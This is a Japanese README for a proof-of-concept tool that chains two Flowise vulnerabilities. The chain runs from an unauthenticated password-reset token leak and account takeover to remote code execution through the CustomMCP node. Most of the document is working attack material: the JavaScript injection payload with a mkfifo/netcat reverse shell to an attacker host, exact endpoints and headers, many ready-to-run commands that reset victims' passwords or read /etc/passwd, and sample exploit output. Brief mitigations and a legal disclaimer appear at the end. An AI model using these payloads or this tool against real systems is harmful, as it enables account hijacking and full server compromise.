# CVE-2025-58434(アカウント乗っ取り)および CVE-2025-59528(RCE)向けモジュール式PoC(Flowise用) 未認証のトークン漏洩からリバースシェルまたはカスタムコマンドによるリモートコード実行まで、攻撃チェーン全体を自動化します。
⚠️ 教育目的および許可されたセキュリティ研究専用です。
このツールを、自分が所有していない、または書面による許可を得ていないシステムに対して実行することは違法です。
このリポジトリは、Flowise における2つのクリティカルな脆弱性を、単一のモジュール式 PoC ツールに統合したものです。
| CVE-2025-58434 | CVE-2025-59528 | |
|---|---|---|
| タイプ | アカウント乗っ取り | リモートコード実行 |
| 認証要求 | なし | あり(有効なアカウント) |
| CVSS | 9.8 Critical | Critical |
| 影響 | Cloud + セルフホスト | セルフホスト |
2つの脆弱性は自然に連鎖します。CVE-2025-58434 は認証なしのアカウント乗っ取りを提供し、これにより CVE-2025-59528 の認証要件を満たし、1回の自動実行で認証なしの RCE を達成します。
根本原因: forgot-password エンドポイントが、パスワードリセットトークン(tempToken)をメール経由のみで送信する代わりに、HTTP レスポンスボディに直接返します。
攻撃手順:
POST /api/v1/account/forgot-passwordtempToken を読み取る — メールアクセスは不要POST /api/v1/account/reset-password → 新しいパスワードを設定漏洩したレスポンス(一部抜粋):
{
"user": {
"email": "[email protected]",
"tempToken": "LEAKED_TOKEN_HERE",
"tokenExpiry": "2025-08-19T13:00:33.834Z",
"status": "active"
}
}
根本原因: CustomMCP ノードは、ユーザーが提供した mcpServerConfig をサニタイズせずに JavaScript の Function() コンストラクタに直接渡します。Flowise は Node.js で動作するため、注入されたコードは child_process、fs、およびすべての Node.js 組み込み機能に完全にアクセスできます。
脆弱なコードパス:
POST /api/v1/node-load-method/customMCP
-> convertToValidJSONString()
-> Function('return ' + mcpServerConfig)() ← サニタイズされていないユーザー入力
必要なヘッダー:
Content-Type: application/json
x-request-from: internal
Cookie: token=<jwt>; refreshToken=<jwt>; connect.sid=<sid>
デフォルトのインジェクションペイロード(リバースシェル):
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f\");return \"shell_fired\";})()})"
}
}
注: リバースシェルペイロードは
cp.exec()(非同期 / fire-and-forget)を使用するため、HTTP リクエストは即座に完了し、ツールがタイムアウトしません。通常のコマンドはcp.execSync()を使用し、インラインで出力を返します。
攻撃者 Flowise API
│ │
│ [CVE-2025-58434] │
│ POST /forgot-password {email} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 201 { tempToken: "abc..." } │ ← トークンがレスポンスで漏洩
│ │
│ POST /reset-password │
│ {email, tempToken, newPassword} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 201 OK (tempToken cleared) │ ← ATO 完了
│ │
│ [CVE-2025-59528] │
│ POST /auth/login {email, newPass} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 200 OK + Set-Cookie: token=... │ ← クッキーを抽出
│ │
│ POST /node-load-method/customMCP │
│ {mcpServerConfig: <js-revshell>} │
│─────────────────────────────────────►│
│ [exec() がバックグラウンドで起動]
│◄─────────────────────────────────────│
│ 200 {"shell_fired"} │
│ │
攻撃者の nc リスナー ←───────────────── サーバーが接続
✓ 認証情報ゼロから完全な RCE
| コンポーネント | 状態 |
|---|---|
Flowise Cloud (cloud.flowiseai.com) | CVE-2025-58434 の影響あり |
| Flowise セルフホスト(パッチ前の全バージョン) | 両方の CVE の影響あり |
パッチが適用されたリリース番号については、公式の Flowise セキュリティアドバイザリ を確認してください。
flowise-dual-cve-poc/
├── flowise_poc.py # メイン PoC — 全モジュール + チェーンモード
├── requirements.txt # Python 依存関係
├── README.md # このファイル
└── DISCLAIMER.md # 完全な法的通知
requests ライブラリgit clone https://github.com/yourhandle/flowise-dual-cve-poc
cd flowise-dual-cve-poc
pip install -r requirements.txt
モードフラグは不要です。 --chain や --module を指定せずにスクリプトを実行すると、自動的にフルチェーンモードで実行されます。デフォルトの RCE ペイロードはリバースシェルです。--lhost と --lport を指定してください。
# 最小限の呼び出し — フルチェーン + リバースシェル
python3 flowise_poc.py \
-u http://flowise.example.com \
-e [email protected] \
--lhost 10.10.16.35 \
--lport 4444
実行前にリスナーを起動してください:
nc -lvnp 4444
python3 flowise_poc.py -h
トークン漏洩 → パスワードリセット → ログイン → RCE の4ステップをすべて実行します。
# リバースシェル(デフォルトペイロード)
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
--lhost 10.10.16.35 --lport 4444
# リバースシェルの代わりにカスタムコマンド
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
-c "cat /etc/passwd"
# カスタムATOパスワード + リバースシェル
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
-p "MyCustomPass1!" \
--lhost 10.10.16.35 --lport 9001
tempToken を漏洩させ、アカウントのパスワードをリセットします。ログイン/RCE の前で停止します。
# デフォルトの新しいパスワード
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e [email protected]
# カスタムの新しいパスワード
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e [email protected] \
-p "NewPassword2025!"
# 生のJSONレスポンスを表示
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e [email protected] --json-output
認証を行い、手動使用のために3つのセッションクッキーを抽出します。
python3 flowise_poc.py --module login \
-u http://flowise.example.com \
-e [email protected] \
-P "password123"
# スクリプト用のJSON出力
python3 flowise_poc.py --module login \
-u http://flowise.example.com \
-e [email protected] \
-P "password123" --json-output
サーバー上で実行します。--token が指定されていない場合は自動ログインします。
# リバースシェル — 自動ログイン
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
-e [email protected] -P "password123" \
--lhost 10.10.16.35 --lport 4444
# カスタムコマンド — 自動ログイン
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
-e [email protected] -P "password123" \
-c "id"
# 手動トークン — リバースシェル
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
--token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
--lhost 10.10.16.35 --lport 4444
# 3つすべてのクッキーを手動で指定
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
--token "eyJhbGci..." \
--refresh-token "eyJhbGci..." \
--connect-sid "s%3A4rey2nuk..." \
-c "ls /root"
--chain)| フラグ | 説明 |
|---|---|
--chain | フルチェーン: ATO → ログイン → RCE |
--module ato | アカウント乗っ取りのみ |
--module login | ログインとクッキー抽出のみ |
--module rce | RCE のみ |
| フラグ | 短縮形 | 説明 | 必須 |
|---|---|---|---|
--url | -u | Flowise インスタンスのベースURL | 常に |
--email | -e | ターゲット / ログインメール | 常に |
| フラグ | 短縮形 | 説明 | デフォルト |
|---|---|---|---|
--new-password | -p | ATO 後に被害者アカウントに設定するパスワード | Flowise@Pwn3d2025! |
| フラグ | 短縮形 | 説明 |
|---|---|---|
--login-password | -P | ログインモジュール / RCE 自動ログイン用のパスワード |
--token | — | 手動で token クッキーを指定(ログインをスキップ) |
--refresh-token | — | 手動で refreshToken クッキーを指定 |
--connect-sid | — | 手動で connect.sid クッキーを指定 |
| フラグ | 短縮形 | 説明 | デフォルト |
|---|---|---|---|
--lhost | — | リバースシェル用の攻撃者IP | — |
--lport | — | リバースシェル用の攻撃者ポート | — |
--command | -c | カスタムOSコマンド(revshell を上書き) | id(lhost/lport なしの場合) |
| フラグ | 短縮形 | 説明 | デフォルト |
|---|---|---|---|
--timeout | -t | HTTP タイムアウト(秒) | 15 |
--json-output | -j | 生のJSONレスポンスを表示 | false |
スクリプトは自動的に適切な実行モードを選択します:
| シナリオ | 使用されるペイロード | HTTP の動作 |
|---|---|---|
--lhost + --lport(-c なし) | mkfifo netcat ワンライナー | cp.exec() — 非同期、即座に返る |
-c "..." に nc/mkfifo/bash -i が含まれる | revshell として検出 | cp.exec() — 非同期、即座に返る |
-c "id" またはその他の通常のコマンド | ユーザーコマンド | cp.execSync() — ブロック、出力を返す |
-c なし、--lhost なし | id | cp.execSync() — ブロック、出力を返す |
非同期実行により、HTTP リクエストは瞬時に完了します。リバースシェルペイロードでタイムアウトエラーが発生することはありません。
[Step 1] [CVE-2025-58434] forgot-password トークンを要求中 ...
[*] HTTP 201
────────────────────────────────────────────────────────────────────
漏洩したアカウントデータ
────────────────────────────────────────────────────────────────────
tempToken : 28HYxS1UFqalMGMKVQeEdapifG0Mo...
tokenExpiry : 2026-04-13T05:14:17.621Z
────────────────────────────────────────────────────────────────────
[+] 脆弱性あり — 認証なしでトークンが公開されました!
[Step 2] [CVE-2025-58434] パスワードをリセット中 → Flowise@Pwn3d2025!
[*] HTTP 201
[+] パスワードリセット成功(tempToken クリア)
[+] アカウント乗っ取り完了 → [email protected] / Flowise@Pwn3d2025!
[Step 3] [Auth] セッションクッキーを抽出するためにログイン ...
[*] HTTP 200
────────────────────────────────────────────────────────────────────
抽出されたセッションクッキー
────────────────────────────────────────────────────────────────────
token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
refreshToken : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
connect_sid : s%3AGIjQFOoMQOpwioeZdmlruKL6VSQ1cePu...
────────────────────────────────────────────────────────────────────
[Step 4] [CVE-2025-59528] CustomMCP 経由で RCE を実行中 ...
[*] HTTP 200
────────────────────────────────────────────────────────────────────
RCE 結果
────────────────────────────────────────────────────────────────────
モード : リバースシェル
LHOST : 10.10.16.35
LPORT : 4444
[+] リバースシェルペイロードを発射しました!
[!] 10.10.16.35:4444 への接続を待機中 ...
[!] リスナーが実行中であることを確認してください: nc -lvnp 4444
────────────────────────────────────────────────────────────────────
[+] チェーン完了
tempToken は登録メールアドレスにのみ送信してください。forgot-password エンドポイントにレート制限を設けます。Function()、eval()、vm.runInThisContext() に渡してはなりません。mcpServerConfig をデータのみ(例:JSON.parse())として解析し、決して実行しないでください。| 日付 | イベント |
|---|---|
| 2025-08-19 | CVE-2025-58434 を発見し報告 |
| TBD | CVE-2025-59528 を発見し報告 |
| TBD | ベンダーが確認 |
| TBD | パッチリリース |
| TBD | 公開開示 |
教育目的および許可されたペネトレーションテスト専用です。
完全な法的通知については DISCLAIMER.md を参照してください。